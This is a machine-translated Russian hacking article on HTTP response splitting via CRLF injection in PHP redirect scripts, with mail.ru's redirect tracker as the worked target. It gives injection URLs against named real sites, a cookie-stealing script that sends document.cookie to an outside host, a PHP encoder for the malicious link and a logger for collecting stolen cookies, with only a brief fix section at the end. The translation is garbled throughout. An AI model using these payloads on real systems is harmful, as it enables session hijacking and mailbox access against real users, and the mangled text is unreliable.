This page has been robot translated, sorry for typos if any. Original content here.

HTTP splitting vulnerability

This article discusses the practical application of a vulnerability known as HTTP splitting vulnerability.

Important header () under the microscope

Wandering around the Internet, we often see a url of the form http://anyhost.com/redirect.php?url=http://otherhost.com An ingenuous user does not think for a long time, just clicks on it and also pleases on otherhost.com. An inquisitive user substitutes the address of his hompagi on the premises url also makes sure the script is crooked.
In addition to simple, also curious, very interesting users live on the Internet. They drive a link into AccessDiver and also begin to learn how the script works.

1. The essence of the bug.
2. Practical application.
3. Location on the prevalence of error.
4. Security equipment.

for tankers, I suggest that AccessDiver is a “hakresky" weapon, as it is customary to express in a nation. Download it is allowed on the offsite of the project. At the time of this writing, the latest version of the utility was 4.173. The program is best known for its HTTP Debuger feature. You can use it by going into expert mode and also selecting the corresponding function in the Tools menu (F4 then Ctrl + F9 - depending on the version, the keys could be changed). Further, we won’t focus on setting it up, as any student can handle a diver.

For the experiments we chose mail.ru , because this is the most famous mail service in RuNet, it will also become especially interesting for the reader to find out about the bug on this project;) Let's go to the link http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . We will be thrown to the most selected portal on computer security;). We add the site to bookmarks and we return to the email. We will write the link that interested us in the HTTP Address field, set Mode to Get, click Connect.
We will see HTTP headers returned by the server, similar to the screenshot:



We turn the care to the underlined line. Having met in the Location: headers, the browser unconditionally takes us to the specified url. Therefore, we can slip the link to the user, as if on an email, but he will not get to the email at all. All this is wonderful, but in practice, nothing alienates.

Let us take care that the lines in the header are separated by two characters 0Dh 0Ah . But what if you attribute them at the end of the link? Let's see what the server returns to us in opposition to the request http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist :



How interesting. So we can make the server issue almost any header. For example, change user cookies. But, again, this is still not as interesting as what lags ahead of us. Interestingly, the headers are separated from the body of the act by the sequence 0Dh 0Ah 0Dh 0Ah . Are we really able to give out completely any page? Enter http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </script> <! - also see:



All that is yellow is the text of the document itself. If JavaScript is enabled in the browser, then by clicking on the link we will see a message box with our cookies. In order to make an XSS attack, you need:
1) Compose a page of the type <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </script>
2) Translate it to url-encode using a script:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </script>";
$ res = "";
for ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

We get:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... etc. (**)

3) write a script log.php also upload it to drmist.ru:
<? php
$ fid = fopen ("../ log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
header ("Location: http://www.mail.ru");
?>

Today it is allowed to steal a magic link (**) as well as purchase victim cookies.
It’s allowed to do a lot of useful things on them, for example, to access mail, but more about that one day, we were also so cool off from the main topic.

Of course, you don’t need to drive to the email in any way that this is an important resource, shit, it’s also finally not from our sandbox. It is common for all people to make a mistake, however, mail.ru admins make mistakes less often and less often. True bugs still remain. people are silent about them not because of self-interest, but because of fear of an inadequate reaction of the administration to their location, which, according to statistics, owns the place. Fortunately, the presence of XSS does not guarantee access to the mailbox. I'm sure they’ll cover the bug. At the latest - after 2 days. Not only mail.ru is vulnerable. I strongly recommend that you read:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Frankly speaking, I was very surprised at what time I learned that securitylab.ru wrote about such vulnerabilities 3 years ago (see Implementing CRLF in PHP's header () function on 09/10/2002), but since we have no practical use of the bug I have never heard, then I considered the topic relevant. Moreover, blah blah vryatli can be called in no way relevant to the presence of bugs on Yandex, rambler and email.

It is not difficult to correct the error. Let eat the vulnerable script:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

header ("Location: $ url");

?>

We make it invulnerable:

header ("Location:" .urlencode ($ url));

If a redirect is planned only within the site, then it is best to do this:

header ("Location: http://www.mail.ru/".urlencode($url));

Here, perhaps, is also all that we wanted to report. Let me offer a few more XSS for last:

http://talk.mail.ru/article.html?ID=31836089&page=1"><h1>XSS </h1>
http://www.pochta.ru/?lng=en"<h1>XSS </h1>